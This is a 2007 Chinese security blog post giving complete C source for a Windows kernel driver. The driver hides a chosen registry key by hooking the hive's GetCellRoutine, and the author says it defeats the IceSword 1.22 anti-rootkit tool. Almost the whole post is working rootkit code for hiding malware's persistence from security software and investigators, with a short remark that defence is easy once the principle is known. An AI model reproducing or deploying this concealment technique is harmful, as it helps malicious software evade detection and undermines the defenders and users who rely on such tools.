2007年7月22日星期日

[Tips]一段隐藏注册表项的代码

Author: zzzevazzz
Date: 2007-07-22
Team: http://www.ph4nt0m.org

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

#include <ntddk.h>

#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define CM_KEY_INDEX_ROOT      0x6972         // ir
#define CM_KEY_INDEX_LEAF      0x696c         // il
#define CM_KEY_FAST_LEAF       0x666c         // fl
#define CM_KEY_HASH_LEAF       0x686c         // hl

// 一些CM的数据结构,只列出用到的开头部分
#pragma pack(1)
typedef 
struct _CM_KEY_NODE {
       USHORT Signature;
       USHORT Flags;
       LARGE_INTEGER LastWriteTime;
       ULONG Spare;               
// used to be TitleIndex
       HANDLE Parent;
       ULONG SubKeyCounts[
2];     // Stable and Volatile
       HANDLE SubKeyLists[2];     // Stable and Volatile
       
// ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef 
struct _CM_KEY_INDEX {
       USHORT Signature;
       USHORT Count;
       HANDLE List[
1];
} CM_KEY_INDEX, 
*PCM_KEY_INDEX;

typedef 
struct _CM_KEY_BODY {
       ULONG Type;                
// "ky02"
       PVOID KeyControlBlock;
       PVOID NotifyBlock;
       PEPROCESS Process;         
// the owner process
       LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;

typedef PVOID (__stdcall 
*PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef 
struct _HHIVE {
       ULONG Signature;
       PGET_CELL_ROUTINE GetCellRoutine;
       
// ...
} HHIVE, *PHHIVE;
#pragma pack()

// 需隐藏的主键名
WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";

PGET_CELL_ROUTINE g_pGetCellRoutine 
= NULL;
PGET_CELL_ROUTINE
* g_ppGetCellRoutine = NULL;

PCM_KEY_NODE g_HideNode 
= NULL;
PCM_KEY_NODE g_LastNode 
= NULL;

// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
       NTSTATUS status;
       UNICODE_STRING uKeyName;
       OBJECT_ATTRIBUTES oa;
       HANDLE hKey;

       RtlInitUnicodeString(
&uKeyName, pwcsKeyName);
       InitializeObjectAttributes(
&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
       status 
= ZwOpenKey(&hKey, KEY_READ, &oa);
       
if (!NT_SUCCESS(status))
       {
           DbgPrint(
"ZwOpenKey Failed: %lx\n", status);
           
return NULL;
       }

       
return hKey;
}

// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
       NTSTATUS status;
       PCM_KEY_BODY KeyBody;
       PVOID KCB;

       
if (hKey == NULL) return NULL;

       
// 由Key句柄获取对象体
       status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
       
if (!NT_SUCCESS(status))
       {
           DbgPrint(
"ObReferenceObjectByHandle Failed: %lx\n", status);
           
return NULL;
       }

       
// 对象体中含有KeyControlBlock
       KCB = KeyBody->KeyControlBlock;
       DbgPrint(
"KeyControlBlock = %lx\n", KCB);

       ObDereferenceObject(KeyBody);

       
return KCB;
}

// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
       
// 获取父键的节点
       PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
       
// 获取子键的索引
       PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

       DbgPrint(
"ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);

       
// 如果为根(二级)索引,获取最后一个索引
       if (Index->Signature == CM_KEY_INDEX_ROOT)
       {
           Index 
= (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
           DbgPrint(
"Index = %lx\n", Index);
       }

       
if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
       {
           
// 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
           return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
       }
       
else
       {
           
// 一般叶索引,返回最后的节点
           return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
       }
}

// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
       
// 调用原函数
       PVOID pRet = g_pGetCellRoutine(Hive, Cell);
       
if (pRet)
       {
           
// 返回的是需要隐藏的节点
           if (pRet == g_HideNode)
           {
               DbgPrint(
"GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
               
// 查询、保存并返回其父键的最后一个子键的节点
               pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
               DbgPrint(
"g_LastNode = %lx\n", g_LastNode);
               
// 隐藏的正是最后一个节点,返回空值
               if (pRet == g_HideNode) pRet = NULL;
           }
           
// 返回的是先前保存的最后一个节点
           else if (pRet == g_LastNode)
           {
               DbgPrint(
"GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
               
// 清空保存值,并返回空值
               pRet = g_LastNode = NULL;
           }
       }
       
return pRet;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
       DbgPrint(
"DriverUnload()\n");
       
// 解除挂钩
       if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
       
return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
       ULONG BuildNumber;
       ULONG KeyHiveOffset;       
// KeyControlBlock->KeyHive
       ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
       HANDLE hKey;
       PVOID KCB, Hive;

       DbgPrint(
"DriverEntry()\n");

       pDrvObj
->DriverUnload = DriverUnload;

       
// 查询BuildNumber
       if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
       DbgPrint(
"BuildNumber = %d\n", BuildNumber);

       
// KeyControlBlock结构各版本略有不同
       
// Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
       switch (BuildNumber)
       {
           
case 2195:     // Win2000
               KeyHiveOffset = 0xc;
               KeyCellOffset 
= 0x10;
               
break;
           
case 2600:     // WinXP
           case 3790:     // Win2003
               KeyHiveOffset = 0x10;
               KeyCellOffset 
= 0x14;
               
break;
           
default:
               
return STATUS_NOT_SUPPORTED;
       }

       
// 打开需隐藏的键
       hKey = OpenKeyByName(g_HideKeyName);
       
// 获取该键的KeyControlBlock
       KCB = GetKeyControlBlock(hKey);
       
if (KCB)
       {
           
// 由KCB得到Hive
           PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
           
// GetCellRoutine在KCB中,保存原地址
           g_ppGetCellRoutine = &Hive->GetCellRoutine;
           g_pGetCellRoutine 
= Hive->GetCellRoutine;
           DbgPrint(
"GetCellRoutine = %lx\n", g_pGetCellRoutine);
           
// 获取需隐藏的节点并保存
           g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
           
// 挂钩GetCell例程
           Hive->GetCellRoutine = MyGetCellRoutine;
       }
       ZwClose(hKey);

       
return STATUS_SUCCESS;
}

没有评论: